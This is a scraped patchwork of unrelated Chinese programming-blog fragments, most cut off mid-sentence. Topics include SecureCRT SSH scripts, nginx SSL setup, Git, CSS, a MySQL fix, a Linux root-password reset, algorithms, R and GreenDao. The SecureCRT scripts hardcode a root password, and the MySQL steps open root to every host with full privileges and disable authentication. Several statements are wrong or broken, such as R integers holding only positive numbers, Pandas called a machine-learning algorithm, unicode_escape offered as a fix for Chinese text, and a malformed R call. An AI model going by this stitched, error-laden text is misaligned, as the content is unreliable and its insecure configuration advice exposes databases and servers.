http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=指定QQ号码
将会返回下列内容:
_Callback(
{"uin":查询的QQ号码,
"qzone":1,
"nickname":"昵称",
"offsetBirth":距离生日的天数,
"avatarUrl":"查询的QQ号码头像地址"});
针对这个内容,对_Callback事先进行实现,然后在
.
SecureCRT脚本-python 1.这里写两个小脚本一、SecureCrt脚本(一)顶级对象之Crt1、引言2、关于脚本表头3、顶级对象'crt'的子属性和方法3.1、属性3.1.1、Dialog3.1.2、Screen3.1.3、ScriptFullName3.1.4、Session3.1.5、Version3.1.6、Window 3.2、方法3.2.1、GetActiveTab()3.2.2、GetScriptTab()3.2.3、GetTabCount()3.2.4、GetTab(Index)3.2.5、Sleep(millisecond)3.2.6、Quit() 二、 SecureCrt脚本(二)二级对象之Dialog1、引言2、Dialog属性和方法2.1、属性2.2、方法2.2.1、FileOpenDialog2.2.2、MessageBox2.2.3、Prompt 3、总结 三、SecureCrt脚本(三)二级对象之Screen详解1、引言2、Screen属性和方法2.1、属性2.1.1、CurrentColumn2.1.2、CurrentRow2.1.3、Columns2.1.4、Rows2.1.5、IgnoreEscape2.1.6、MatchIndex2.1.7、Synchronous 2.2、方法2.2.1、Clear()2.2.2、get()2.2.3、get2()2.2.4、IgnoreCase()2.2.5、Send()2.2.6、SendKeys()2.2.7、SendSpecial()2.2.8、WaitForCursor()2.2.9、WaitForKey()2.2.10、WaitForString()2.2.11、WaitForStrings()2.2.12、ReadString() 3、总结 1.这里写两个小脚本 # $language = "python" # $interface = "1.0" #官方的实例可以在未连接任何服务器的情况下进行ssh连接 #你要连接的ssh服务器ip host = '139.196.53.1**' #ssh用户名 user = 'root' #ssh密码 passwd = 'Jinx0007' def main(): #进行cmd操作连接创建新的session连接 cmd = "/SSH2 /L %s /PASSWORD %s /C 3DES /M MD5 %s" % (user, passwd, host) crt.Session.Connect(cmd) #使用默认弹窗提示信息 crt.Dialog.MessageBox('登录成功!') main() 2.另外一个:
# $language = "python" # $interface = "1.0" #此方法表示你必须先登录一台ssh服务器然后再去ssh到另外一台服务器 #ssh主机的ip host = '192.168.0.111' #ssh主机的用户名 user = 'root' #ssh主机的密码 passwd = 'Jinx0007' def main(): #向屏幕光标后发送以下文字内容,\r表示回车执行 crt.
昨天升级了下mac电脑,访问本地项目代码环境https域名不能访问
导致在谷歌浏览器里访问本地https站点,提示”ERR_SSL_PROTOCOL_ERROR”,而用safari浏览器和firefox可以正常访问,推测谷歌浏览器对ssl校验比较严格。
1、解决办法是将本地环境的nginx升级到最新版,大家也可以直接用第2个办法升级openssl
brew upgrade nginx
nginx -v
提示如下就代表是最新版了
nginx version: nginx/1.19.0
sudo nginx -t
提示
nginx: [warn] the "ssl" directive is deprecated, use the "listen ... ssl" directive instead in /usr/local/etc/nginx/servers/
需要将里面这段SSL配置删除
ssl on;
sudo nginx -t
出现如下,代表配置正确
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
重启nginx,
sudo nginx -s reload
发现依然不能正常访问,排除了nginx的配置兼容问题。
2、升级openssl版本
采用源码安装,不要用 brew upgrade openssl 方式升级,没有用,版本依然是低版本。
tar -zxvf openssl-1.1.1g.tar.gz
github.io 打不开的解决方法 把你的dns改成 8.8.8.8
如何从Gitee上Pull文件至本地? 首先在Gitee页面进行操作创建仓库,如果已有仓库则跳过此步进入下一步:
新建仓库:
填写仓库信息:
复制此处链接,后面建立连接要用:
Pull操作部分: 首先进入Git Bash面板,输入如下命令:
创建/初始化一个新的仓库:
git init 此时,我们会发现文件夹中出现了一个.git文件,这就是我们刚刚创建好的git仓库了,关于这个项目的一些快照数据都会被存放在这里。
输入命令
git remote add origin https://xxxxx.git (网址部分为之前在gitee仓库复制的网址)
看你要下载的是哪个分支的代码(这里是master)
输入命令
git pull origin master 拉取完毕。
注意:因为我这边用户名密码是保存了的,如果中途要输入自己Gitee账号和密码进行输入就好
如何Push本地文件至仓库? 这里说的操作是对之前在本地进行过Pull操作的文件夹或子目录来说的哦。
简单来说分为三个步骤:①add(将文件加入缓存区)②commit ③push
add(add后面是要添加的文件,.代表其下的所有文件) git add . commit git commit -am "注释内容" push(push到master分支) git push origin master
实现方法:1、使用“:hover”伪类选择器,选择鼠标指针浮动在其上的元素,并为其设置其样式,语法“:hover{属性名:属性值}”;2、使用transtion属性,语法“transtion:css属性名称 过度时间;”。
本教程操作环境:windows7系统、CSS3&&HTML5版、Dell G3电脑。
1、使用伪类实现样式切换伪类是CSS2.1时出现的新特性,让许多原本需要JavaScript才能做出来的效果使用CSS就能实现。比如实现下面的鼠标悬停效果,只要为:hover伪类应用一组新样式即可。当访客鼠标移动到按钮上面时,浏览器会自动为按钮应用这新样式。
.slickButton {
color: white;
font-weight: bold;
padding: 10px;
border: solid 1px black;
background: lightgreen;
cursor: pointer;
}
.slickButton:hover {
color: black;
background: yellow;
}
盼望着,盼望着
效果:
2、使用CSS3的过渡功能实现颜色过渡直接使用伪类虽然实现了样式的改变,但由于没有过渡效果会显得很生硬。以前如果要实现过渡,就需要借助第三方的js框架来实现。现在只需要使用CSS3的过渡(transition)功能,就可以从一组样式平滑的切换到另一组样式。下面鼠标移入后,按钮背景色会慢慢地变成黄色。鼠标离开,过渡效果又会发生,颜色恢复到初始状态。
.slickButton {
color: white;
font-weight: bold;
padding: 10px;
border: solid 1px black;
background: lightgreen;
cursor: pointer;
transition: background 0.5s, color 0.5s;
-webkit-transition: background 0.5s, color 0.5s;
}
.slickButton:hover {
color: black;
background: yellow;
}
盼望着,盼望着
效果:
struct HashTable {
struct ListNode *tmp;
UT_hash_handle hh;
};
struct ListNode *getIntersectionNode(struct ListNode *headA, struct ListNode *headB) {
struct ListNode *pA = headA, *pB = headB;
struct HashTable *ht = NULL;
struct ListNode *retval;
while (pA) {
struct HashTable *temp = (struct HashTable *)malloc(sizeof(struct HashTable));
temp->tmp = pA;
HASH_ADD(hh, ht, tmp, sizeof(struct HashTable *), temp);
pA = pA->next;
}
while (pB) {
struct HashTable *temp = NULL;
HASH_FIND(hh, ht, &pB, sizeof(struct HashTable *), temp);
爬取某小说榜单爬虫及可视化分析(仅用于学习) gitee代码链接:https://gitee.com/huang_jia_son/duoduo.git
介绍 GUI界面+python爬虫+数据清洗与处理+pyecharts可视化展示 软件架构 (1)通过tkinter制作GUI界面,通过按钮触发爬虫事件,数据分析事件。 (2)爬虫提取数据,并通过机器学习算法进行相关的计算求和,以及数据清洗和断句。 (3)点击数据分析按钮自动跳转超链接,html页面中包括热门小说类型统计图,热点分析图(词云图),热门小说状态扇形图,作者字数天梯榜,字数-排名分析散点图 环境说明 计算机系统版本:Window10 python版本:Python3.7.6 编辑器:PyCharm2020.1.3 代码说明 (1)爬虫网站选取
确定要爬取的网站,通过“F12”查看前端源代码,分析爬取信息的可行性,然后找到需要爬取的标签,内容分别为"序号", "类型", "小说名称", "更新章节", "状态", "字数", "作者", "更新时间"。 (2)爬虫方法getList()编写
首先通过etree.HTML获得网站源码,然后通过xpath方法通过途径查找想要爬取的标签文本。然后将它们通过遍历添加到一个数组中,并且返回数组,同时将他们写入bangdan.csv文件当中。 (3)GUI界面设计
通过tkinter库设计窗体,依次添加容器和需要的组件。 (4)数据清洗及处理
通过机器学习算法,例如Pandas库,对文件中的数据进行处理,如求和以及分组等。 (5)数据可视化
将处理以后的数据通过pyecharts工具生成直观可视的图表,我们可能从中得到我们想要的信息。 相关截图 (1)GUI页面
(2)点击“更新榜单”,开始爬取数据
(3)爬取数据结束,显示榜单全部数据
(4)点击数据分析按钮,显示生成的可视化图表页面
配置ssl证书之前,先准备SSL证书,至于获取的途径很多(阿里云的服务,第三方服务购买)。这里不详细解释。以下是我的SSL证书
准备好证书后,找到nginx的安装目录,我的安装位置为:/usr/local/nginx
进入 config/nginx.conf
如果没有装winscp(一款可视化文件操作工具)的。可以通过命令行的方式,编辑nginx的config文件。
开始配置文件的修改 在修改配置文件之前,最好做一个备份,防止修改错误,也能及时回退错误
1、找到第一个监听80端口的server:一下是我修改好的server server { listen 80; server_name 需要访问的域名; rewrite ^(.*) https://servernameservername1 permanent; #这句是代表 把http的域名请求转成https #charset koi8-r; #access_log logs/host.access.log main; location / { root html; index index.html index.htm; proxy_pass http://需要访问的域名; #因为这里还是80端口,所以保持http就可以了 } } 在实际的配置文件中,最好把我上面的备注删除
2、第一个server修改好了之后。那么就需要开始配置第二个server。拉到文件的底部。看到有一个https类型的server。而且已经全部被注释封上了,这是我们需要改的第二个server,如图: 这里除了HTTPS server这行之外,其他的 # 删除,启动https模块
# HTTPS server # server { listen 443 ssl; server_name 需要访问的域名,这里也不用加https; ssl on; ssl_certificate /usr/local/nginx/ssl/ssl.pem; #这里是ssl key文件存放的绝对路径,根据自己的文件名称和路径来写 ssl_certificate_key /usr/local/nginx/ssl/ssl.key; #这里是ssl key文件存放的绝对路径,根据自己的文件名称和路径来写 ssl_session_cache shared:SSL:1m; ssl_session_timeout 5m; ssl_ciphers HIGH:!
近日微信迎来了6.5.16版本的更新,主要修复了已知问题,但其实小编发现在这个新版本当中。微信低调新增了一个授权管理功能。对于之前使用微信账户登录或进行有关授权其他应用的用户来说,这个时候就可以取消授权了,在一定程度上防止某些应用乱扣费用。那么微信授权管理在哪呢?下面脚本之家小编带来相关操作过程。
查看并取消微信曾经授权登陆过的第三方网站或者应用步骤
一、打开微信,切换至【我】选项,在其下方点击并进入【设置】页面,如图所示。
二、然后进入到设置界面之后,在其下方点击并进入到【隐私】界面,如图所示。
三、接下来在隐私页面下方找到【授权管理】选项,点击进入,如下图所示。
四、最后点击授权管理页面的右上角的管理即可删除之前授权过的应用,删除后,将停止向应用授权你的相关信息,如有需要可以爱应用中再次授权。
点击列表中的箭头就能删除授权了。
以上就是脚本之家小编为大家带来的查看微信授权过的第三方应用并取消授权的方法了,希望可以帮助到大家,大家如果还有疑问的话,可以在下方的评论框内给我们留言哦。我们会尽自己所能的为大家解答。谢谢大家一如既往的支持,也请大家继续关注脚本之家的后续教程和软件。
用D2RQ生成ttl文件时出现了这个bug:
Communications link failure,The last packet sent successfully to the server was 0 milliseconds
解决步骤
第一步:Mac必须允许用户远程访问数据库才能链接mysql
1、打开终端,进入MySQL之后
2、输入以下语句,进入mysql库:
use mysql;
3、更新域属性,'%'表示允许外部访问:
update user set host='%' where user ='root';
4、执行以上语句之后再执行(刷新配置):
FLUSH PRIVILEGES;
5、再执行授权语句:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'WITH GRANT OPTION;
第二步:关闭mysql服务
苹果->系统偏好设置->最下边点mysql 在弹出页面中 关闭mysql服务(点击stop mysql server) 如果这种方法没有成功:
可以使用命令行关闭mysql:
~$ sudo /usr/local/mysql/support-files/mysql.server stop 第三步:启动mysql服务
1、进入终端输入:cd /usr/local/mysql/bin
2、车后 登录管理员权限 sudo su (输入你电脑的密码)
3、回车后输入以下命令来禁止mysql验证功能 ./mysqld_safe --skip-grant-tables(注意是mysqld)
4、回车后mysql会自动重启(偏好设置中mysql的状态会变成running)
第四步:重设密码
1、输入命令 ./mysql
2、回车后,输入命令 FLUSH PRIVILEGES;
//模拟信号端口 int tempPin= 1; //数字输出端口 int outpoint = 8; //温度预定值 int temperature = 30; void setup() { Serial.begin(9600); pinMode(outpoint,OUTPUT); } void loop() { int val; val =analogRead(tempPin); float cel=val/9.31; float farh=(cel*9)/5+32; Serial.print("TEMPERATURE in CELCIUS="); //摄氏温度 Serial.print(cel); Serial.print("*C"); delay(5000); Serial.println(); Serial.println("TEMPERATURE in FARHENHITE="); //华氏温度 Serial.print(farh); Serial.print("*F"); delay(5000); Serial.println(); if (cel>temperature) { Serial.println("Its a hot day"); //开启风扇 digitalWrite(outpoint, HIGH); } else { Serial.println("Good day to be alive"); //关闭风扇 digitalWrite(outpoint, LOW); } delay(2000); Serial.
6月2日,华为联手CSDN直播了“HarmonyOS 2及华为全场景新品发布会”,老猿全程观看直播,并进行了回看,力争将发布会的核心内容在本文中概要性地呈现。
一、一生万物 万物归一 首先是华为消费者业务总裁余承东的开场白,强调华为是“创造不可能(Make the Impossible Possible)”,HarmonyOS要“一生万物 万物归一(One as All All as One)”。
总感觉英语在表达这两个意思是更有那种说不清但感觉得到的意味。
二、HarmonyOS介绍 这部分由华为消费者BG软件部总裁王成录博士介绍,笔者没有看过2019年8月9日那场发布会,也许是因为版本没有升级,发布会介绍的内容大多是前面已经在网上公开了内容。
2.1、一个系统 全栈解耦的架构,一套代码解决各种应用的要求,小到128K RAM的设备上使用,使用分布式技术、软总线将各种独立设备连接起来。
2.2、统一控制中心 统一控制中心可以方便操控本机的模组,也可操控与本机连接的设备,让消费者将不同设备组织成超级终端。
统一控制中心管理WiFi和蓝牙的连接,可以方便地连接想要连接的设备,并以卡片形式展现设备的连接状态,实现所有设备的统一查看。
音视频可以在超级终端相关的设备内方便的流转和切换。为了解决音视频在不同设备之间的同步,通过软时钟同步使得超级终端内的设备进行时钟同步、抗干扰算法将无线信道的干扰降低到能够容忍的范围之内来解决抖动/时延和丢包问题,解决音画同步。
2.3、设备共享 组成超级终端的设备,相互之间可以很轻松的通过拖拉实现数据流转。这种共享不但是基于鸿蒙的设备,也可以和安装了鸿蒙插件的PC实现共享。
通过这个功能可以轻松地实现摄像头的共享实现多设备组合摄影,这就是华为所说的“你的眼就是我的眼”。
2.4、简化IoT设备的控制 现有的带IoT功能的设备如豆浆机、冰箱、摄像头等,访问设备需要安装APP,每个IoT设备一个APP,导致手机上APP众多,操作起来其实不方便,由于这个原因,实际中,APP的安装率不到10%,而安装的APP的使用率不到5%,而鸿蒙系统可以简化IoT设备的访问。
通过鸿蒙超级终端实现设备简捷联网,鸿蒙的控制中心可以在所有带屏设备上,实现了简单的控制不简单的体验,并和后台智能系统结合起来,进行相关操作推荐,如结合个人运动健康数据推荐合适的豆浆配方、冰箱推荐菜品保存温度。
目前已经有如下家电设备商和华为合作基于鸿蒙开发:
2.5、全新桌面 鸿蒙基于分布式编程框架、用原子化的服务,解决多设备连接后APP过多不适合使用的问题,用卡片的形式表达原子化的服务,一个卡片就是一个原子化的服务。多设备连接成超级终端后,应用开发者只需要开发一次代码就可以在所有设备之间运行起来。
现有的APP只要叠加了鸿蒙分布式的能力、原子化的服务,在桌面上轻轻上划就能将APP的关键信息展示出来。例如运动应用信息展示:
卡片承载着重要的信息,象便笺一样放到桌面后,锁屏后可以不用解锁就可以看到卡片的信息,可以在多屏展示时,做到每屏设置不同场景。
可以将多个应用放到一个文件夹内,轻触文件夹可以将其变为大文件夹存放在桌面,在大文件夹内可以显示文件夹内的应用,并可以直接打开:
这种卡片形式的桌面管理同样应用到所有鸿蒙带屏设备上。
2.6、应用跨设备间流转 当手机和PAD组成超级终端,多任务中心就可以看到手机和PAD上的所有任务,如果想把手机上的任务转到PAD上,只需要将任务往任务中心的PAD上一推即可:
当在PAD任务中心看到手机上的一个应用,只有轻轻一点即可拉到PAD上来。
2.7、原子化服务卡片 卡片作为原子化服务的统一载体,所有鸿蒙设备的沟通语言,不需要安装,即用即走。
打开服务中心,所有的卡片都在服务中心,可以在卡片上看到想要看到的信息。
如果要看到更详细的信息,在对应卡片上一点即可,也可以将卡片添加到桌面上,都是一键即可实现。
统一的服务中心将原子化服务汇聚在一起,卡片在不同设备间流转,对应应用就在不同设备间流转运行。如某应用的新闻通过手机分享到其他手机时,该手机收到卡片后点开即可阅读该新闻,无需安装对应APP。
卡片可大可小,每个连接设备在服务中心都是一个卡片。
卡片这个概念笔者没有理解很透彻,感觉是为了与APP换个说法,当然有自己的操作方便性,但一个APP对应一个原子服务?有点没弄懂。
2.8、极致性能 在性能优化方面,鸿蒙实施了全栈优化。
在这方面,王博士重点介绍了两点:
动态空间管理,避免内存和存储碎片化,解决越用越慢的问题
使用华为自研的图形栈,使用GPU和CPU联合渲染:
1、智能化的计算调度:使用GPU和CPU联合渲染,GPU渲染相对静止的物体,CPU渲染动态物体;
2、渲染逻辑和业务逻辑用两个线程分开,不再让二者相互影响,画面的流畅度帧率非常饱满
3、在绘图时使用了render service的能力,不再做重复图形的绘制,让视频处理负载大大降低,使得操作更流畅,续航时间更长
同样机型使用鸿蒙和安卓的续航时间对比:
和最新IOS续航时间对比:
2.9、安全和隐私 多设备协同认证的等级远高于单设备:
符合安全能力的设备才允许加入超级终端:
和全球最顶尖的第三方认证机构合作:
终端认证都拿到了全球最高级别。
2.10、总结
本次发布的鸿蒙操作系统是基于OpenHarmony所做的第一个发行版:
支持RAM从小到128K的设备,用分布式的技术打破硬件边界,全新的原子化服务和卡片设计,实现了极致的性能。
和鸿蒙合作创新的合作伙伴:
三、新品发布及百机焕新计划 主要是发布搭载鸿蒙操作系统的新品以及已有设备安卓换鸿蒙,由华为消费者业务的COO何刚介绍。
7-2 列出叶结点 (25 分) 对于给定的二叉树,本题要求你按从上到下、从左到右的顺序输出其所有叶节点。
输入格式: 首先第一行给出一个正整数 N(≤10),为树中结点总数。树中的结点从 0 到 N−1 编号。随后 N 行,每行给出一个对应结点左右孩子的编号。如果某个孩子不存在,则在对应位置给出 “-”。编号间以 1 个空格分隔。
输出格式: 在一行中按规定顺序输出叶节点的编号。编号间以 1 个空格分隔,行首尾不得有多余空格。
输入样例: 8 1 - - - 0 - 2 7 - - - - 5 - 4 6 输出样例: 4 1 5 解题思路: 题目分析: 输入: 以样例为例,输入结点个数为8的一个树,输入的是每个节点的左右孩子,如图
画出树
1、4、5为叶子节点
可以发现:叶子节点即输入数据中没有左孩子也没有右孩子的结点
输出: 按“从上到下,从左到右”输出叶子节点
我设定了两个概念:
前驱个数:即该节点的祖先总数
水平位置:在整个树中以树根为中心的相对位置,树根的水平位置为0(作为一个左孩子就-1,右孩子就+1)
水平位置举例:
1节点的水平位置,1节点的祖先是0、2、3,3节点是根其水平位置是0,2结节点是3节点的左孩子,则2节点的水平位置为-1,0节点是2节点的左孩子,则0节点的水平位置为-2,1节点是0节点的左孩子,则1节点的水平位置为-3。
同理4节点的水平位置为0,5节点的水平位置为1。
此时再看输出:
从上到下:所有叶节点中即前驱个数少的先输出
从左到右:所有叶节点中水平位置小的先输出
综述:同等前驱个数,水平位置小的先输出;同等水平位置,前驱个数小的先输出。
解题: 知道了输入是什么,输出是什么,我们要做的就是把输入的树做好处理和保存,然后统计所有叶子结点的前驱个数和水平位置
主要函数: 一、 deal_tree( )
deal_tree( ):处理输入的树并保存的函数,将结果保存在结构体数组tree中
python批量提取视频帧 python批量提取视频帧,两种提取方式:
按帧数提取,每个视频提取固定帧数,若所取帧数超过视频总帧数,则截取视频所有帧按时间间隔提取,每个time提取一帧 1. 使用示例: python video_set.py -f=frames python video_set.py -f=20 python video_set.py -t=times python video_set.py -t=2.5 2. 注意事项 (1)frames是每个视频所截取的帧数,支持整数类型,若所取帧数超过视频总帧数,则截取视频所有帧;times是取帧间隔时间,支持浮点型,可根据需要自行调整,两者同时使用则帧数优先,此脚本采取固定步长进行取帧
(2)在此脚本同级目录,创建两个目录,一个是video目录,用来存放原视频,另一个是img目录,用来存放截取后的视频帧,截取的视频帧存放在img目录下与视频名同名的目录下,图片名为帧数
3. 代码 #!/usr/bin/env python # coding=utf-8 import os import cv2 import argparse import shutil import math parser = argparse.ArgumentParser() parser.add_argument('-f', '--frames', help="set frames", type=int) parser.add_argument('-t', '--times', help="set times", type=float) #parser.add_argument('-p', '--path', help="video path", type=str) args = parser.parse_args() videos_src_path = r'./video/' #videos_src_path = args.path print('now processing videos from {}'.format(videos_src_path)) videos_save_path = r'.
c++中如何实现十进制(Dec)与十六进制(Hex)之间的相互转换 1.十进制 -> 十六进制 #include "stdafx.h" #include "iostream" #include "string" using namespace std; string DecIntToHexStr(long long num) { string str; long long Temp = num / 16; int left = num % 16; if (Temp > 0) str += DecIntToHexStr(Temp); if (left < 10) str += (left + '0'); else str += ('A' + left - 10); return str; } //十进制 -》十六进制 string DecStrToHexStr(string str) { long long Dec = 0; for (int i = 0; i < str.
算法思想 快速排序是对冒泡排序的一种改进: 通过一趟排序,将要排序的数据分割成独立的2部分,其中一部分的所有数据都比另一部分的所有数据都要小,然后再按此方法
对这两部分数据分别进行快速排序,整个排序过程可以递归进行,以达到整个数据变成有序序列。
快排(以中轴数作为基准)的实现: 对序列进行处理的操作,
目的是:依据选择的基准(这里采用的是中轴值pivot),将序列切分称为两个子序列(因为是依照值进行切分的,所以两个子序列大小不一定相等)具体的实现方式:
① 定义两个指针l、r,其中,l的初值为left,r的初值为right ;
② 确定此次划分的中轴值pivot = arr[(left +right)/2] ;
③ 当l < r的时候进行while循环,来进行对序列的按值划分:
<1>对l指针,从左向右遍历,直至遇到一个数,使得arr[l]<pivot不成立;
<2>对r指针,从右向左遍历,直至遇到一个数,使得arr[r]<pivot不成立;
此时,如果l < r,就交换l、r对应的元素的值;否则,退出交换的循环【 如果l == r,表明:此时l(也是r)指针的左右两侧的子序列已经满足:左侧的子序列中的值,都小于等于pivot;右侧子序列中的值,都大于等于pivot。】
== >直到退出进行元素交换的循环,完成了:基于中轴值pivot的,将一个序列按照元素值,划分为两个子序列的操作。
----在这个过程中,需要注意的是:
如果在某一次交换l、r对应的元素值之后,发现arr[l] == pivot,也就是进行交换之前arr[r] == pivot,应该将r指针向前移动一位;同理,如果在某一次交换l、r对应的元素值之后,发现arr[r] == pivot,也就是进行交换之前arr[l] == pivot,应该将l指针向后移动一位;
=>这是因为,交换之前该位的值 == pivot,(那么跟它进行数据交换的位的值就 == pivot).为防止特殊情况(交换之后该位的值仍==pivot),出现死循环,应该将对应的指针,沿着遍历的方向移动一位。
=>这一点比较难理解,但是一定要注意,不然的话,在运行过程中,很可能会出现死循环(当发生两个等于pivot的值互换的时候)!!!!!! 在对序列的处理完成后,就开始进入递归模块。 在这里需要注意的是:因为退出前边的处理模块的外层while循环,对应两种情况: 1)l>r 2)l==r
但是,进行递归操作,必须保证:向左递归 和 向右递归到的时候,他们的递归边界不能重合(否则容易发生栈溢出)这是因为l==r退出前边的处理模块的外层while循环时,在进行递归之前,需要让l和r两个指针的位置错开。
—如果这么看不好理解的话,可以看代码实现,可能会比较好理解!!! 算法实现 // 实现快速排序的方法 public static void quickSort(int[] arr, int left, int right) { int l = left; int r = right; int pivot = arr[(left + right) / 2];// 排序的中轴值 int temp = 0;//用于交换对应元素的临时变量 //是进行递归前的处理操作 while(l < r) { //从左向右找到第一个大于等于pivot的值 while(arr[l] < pivot) { l += 1; } //从右向左找到第一个小于等于pivot的值 while(arr[r] > pivot) { r -= 1; } // System.
Linux系统重置和修改root密码
Linux系统经常会出现忘记root密码的情况,写下此随笔,以便记忆和学习。
一、重置root密码的步骤如下:
1.如果系统是开机状态,重启一下。进到下面这个界面按字母“e”键。
2.找到 linux16这一行,将下图红框中的内容修改为:rw rd.break
3.按“Ctrl + x”键,进入救援模式,如下
4.依次输入以下命令。
# chroot /sysroot # passwd # touch /.autorelabe # exit # reboot 5.重启完成后,验证一下刚刚修改密码即可。
二、修改密码
没有忘记root密码的情况下,可以直接进行修改
# passwd //输入passwd后回车,输入新密码。即可修改。 若要修改普通用户密码,passwd 后跟上普通用户的名字即可。
var date1= '2019-04-26 11:05:32'; //开始时间 var date2 = new Date(); //结束时间 var date3 = date2.getTime() - new Date(date1).getTime(); //时间差的毫秒数 var subMinutes = Math.floor( date3/(60*1000) ) //获取总共的分钟差 //计算出相差天数 var days=Math.floor(date3/(24*3600*1000)) //计算出小时数 var leave1=date3%(24*3600*1000) //计算天数后剩余的毫秒数 var hours=Math.floor(leave1/(3600*1000)) //计算相差分钟数 var leave2=leave1%(3600*1000) //计算小时数后剩余的毫秒数 var minutes=Math.floor(leave2/(60*1000)) //计算相差秒数 var leave3=leave2%(60*1000) //计算分钟数后剩余的毫秒数 var seconds=Math.round(leave3/1000) alert(" 相差 "+days+"天 "+hours+"小时 "+minutes+" 分钟"+seconds+" 秒")
困扰了很久的问题今天终于解决了!!!
异步导入csv文件提示UnicodeDecodeError: 'utf-8' codec can't decode byte 0xc8 in position 0: invalid continuation byte
原代码为:
resp = requests.get(private_url).content with open(file_dir_name, "w") as fd: fd.write(resp.decode(encoding="utf-8")) 解码的字符格式我换成了gbk,Latin。。。各种都试过,只要有中文,就会报错。
年少的我不懂事,不知道翻译一看,看到这个报错想当然认为是解码的字符集不对,直到今天,我终于正视了bytes,我仿佛找到了解决门道。
于是我打印了resp的type类型,发现果然是<class 'bytes'>, 不就是二进制字节类型吗
然后我再次看了代码,resp取的是requests的content,点进去看content的源码解释:
def content(self): """Content of the response, in bytes.""" 响应内容就是bytes类型。
更改后的代码为:
resp = requests.get(private_url).content with open(file_dir_name, "w") as fd: fd.write(resp.decode(encoding="unicode_escape")) unicode_escape就是对编码后存储的文本,读取时进行反向转换,就能直接得到原始文本数据。
最后完美解决。
感谢https://www.cnblogs.com/my_captain/p/9092644.html
ps:想起之前的产品问我为什么不能加入中文,我和他好生辩论了一番,现在想起来还是我太菜了,遇到问题没找到解决办法就翻篇。其实这次我差点又想不让文件中有中文,但是这个产品要求一定有中文,于是我便深入了解了一下。。。没有解决不了的难题,只有一颗懒惰的怕麻烦的心~
一、数据类型 概括来说,R可以识别六种基本的数据类型,分别是,双整型(double)、整型(integer)、字符型(character)、逻辑型(logical)、复数类型(complex)以及原始类型(raw).
1.双整型(double) 储存普通数值型数据,可正可负,可大可小,可含小数可不含
R中键入的任何一个数值都默认以double型存储
想知道某个对象是什么类型,可以使用typeof() 函数进行查看
在数据科学里,它更常被称为数值型(numeric)
2.整型(integer) 顾名思义,只能用来储存正数。
在R中通过在数字后面加大写字母L的方式,申明该数字以整型方式储存。
在计算机内存中,整型的定义方式要比双整型更加准确(除非该整数非常大或非常小)
3.字符型(character) 字符型向量用以储存一小段文本,在R中字符要加双引号表示
字符型向量中的单个元素被称为“字符串(string)”,注意:字符串不仅可以包含英文字母,也可以由数字或符号组成
4.逻辑型(logical) 用以储存TRUE(真)和FALSE(假),在R中大写的TRUE和FALSE或者大写的T和F都被理解为逻辑型数据。
5.复数类型(complex)和原始类型(raw) 复数类型,即形如:1+i 类的数据
原始类型,用来存储数据的原始字节
二、属性 属性是附加给向量的额外信息,可以将这些数据理解为“元数据(metadata)”
可硬通过attributes()函数来获取对象的属性信息,如果对象无属性信息,则返回NULL,即空值。
1.名称属性 通过names()函数可以查看对象的名称属性,也可以通过形如:names(对象)<-…… 的方式进行赋值,具体如下:
> names(test) NULL > names(test)<-c("one","two","three") > names(test) [1] "one" "two" "three" > test one two three 1 2 3 2.维度属性 通过dim()函数赋值或获得属性,若为向量则返回NULL(空值),具体如下:
matrix1<-matrix1(1:20,4,5) > dim(matrix1) [1] 4 5 > matrix2<-c(1:20) > dim(matrix2) NULL > dim(matrix2)<-c(4,5) > matrix2 [,1] [,2] [,3] [,4] [,5] [1,] 1 5 9 13 17 [2,] 2 6 10 14 18 [3,] 3 7 11 15 19 [4,] 4 8 12 16 20 > dim(matrix2) [1] 4 5 3.
大致分为以下几个方面:
一些查询指令整理
使用SQL语句进行特殊查询
检测表字段是否存在
数据库升级
数据库表字段赋初始值
一、查询指令整理
1.链式执行的指令
return mDaoSession.getUserDao().queryBuilder().
XXX.
XXX.
XXX.
list();
一般的查询语句会在中间xxx的位置加上各种判断和过滤的方法指令,除了最后的终结指令list()或unique()返回的是集合或业务对象,其他的都是返回QueryBuilder对象,大多数情况下XXX的位置都是填上where语句,还有一些其他和sql关联的语句便于使用。
“whereOr” where语句里面写的条件都是用“且”连接,whereOr里的语句使用“或”连接
“distinct” 直接过滤掉重负字段
“limit” 分页n个一页,一般和offset结合使用
“offset” 忽略查询出的前n条结果
“orderAsc” 以字段升序排序
“orderDesc”以字段降序
“preferLocalizedStringOrder” 本地化字符串排序
“orderCustom” 自定义排序 里面需要传两个参数: 一个属性 和对应的排序方案 ASC 或是 DESC
“orderRaw” 也是自定义排序, 把字段和 排序方案 写在一个字符串传入
“stringOrderCollation” 也是自定义排序 可以合并多个升降排序方案 以日期升序 且 价格降序
2.条件里的指令
return mDaoSession.getUserDao().queryBuilder().
where(UserDao.Properties.UserId.in(userIdList), UserDao.Properties.UserAge.eq(19)).
list();
一个简单的where语句大概是这样,在where的括号里面可以并列的写很多条件,其中全部以“且” 来连接。除了上面的“in”和“eq”还有很多其他判断条件
“notEq” 和eq相反,别傻傻在再去外面敲“!”取反
“notIn” 同上
“or” 或者
“like” 就是sql语句的LIKE "%"+string+"%"
“between” 也就是BETWEEN ? AND ? 可以取两个值的区间 (但是这条语句要慎用,不同的数据库不一样,有的是A
比较出名的数据库框架
GreenDao使用步骤:
1、app目录下的build.gradle文件 添加依赖compile 'org.greenrobot:greendao:3.2.0'
顶部添加插件apply plugin: 'org.greenrobot.greendao'
2、根目录下的build.gradle文件 配置dependencies {
classpath 'org.greenrobot:greendao-gradle-plugin:3.2.1'
}
3、app目录下的build.gradle文件 对generator生成文件配置
greendao {
schemaVersion 1//数据库版本号
daoPackage 'com.xxx.xxx.base.database'//设置DaoMaster、DaoSession、Dao包名
targetGenDir 'src/main/java'//设置DaoMaster、DaoSession、Dao目录 //targetGenDirTest:设置生成单元测试目录 //generateTests:设置自动生成单元测试用例
}
dependencies{}
4、创建实体类,生成dao文件
@Entitypublic class HX_User {
@Id private String id; private String userName; private String avatar;
}
5、make project
6、检测
HX_User类会变成下面情况,注意 属性值的get和set方法不要自己写,是make project之后自动生成的
@Entitypublic class HX_User {
@Id private String id; private String userName; private String avatar;
@Generated(hash = 546596795) public HX_User(String id, String userName, String avatar) { this.
1 发送请求 ,连接namenode,请示写入数据。
2. namenode接受写入请求后,
首先判断当前这个操作用户是否拥有写入权限,如果不具有直接报错。
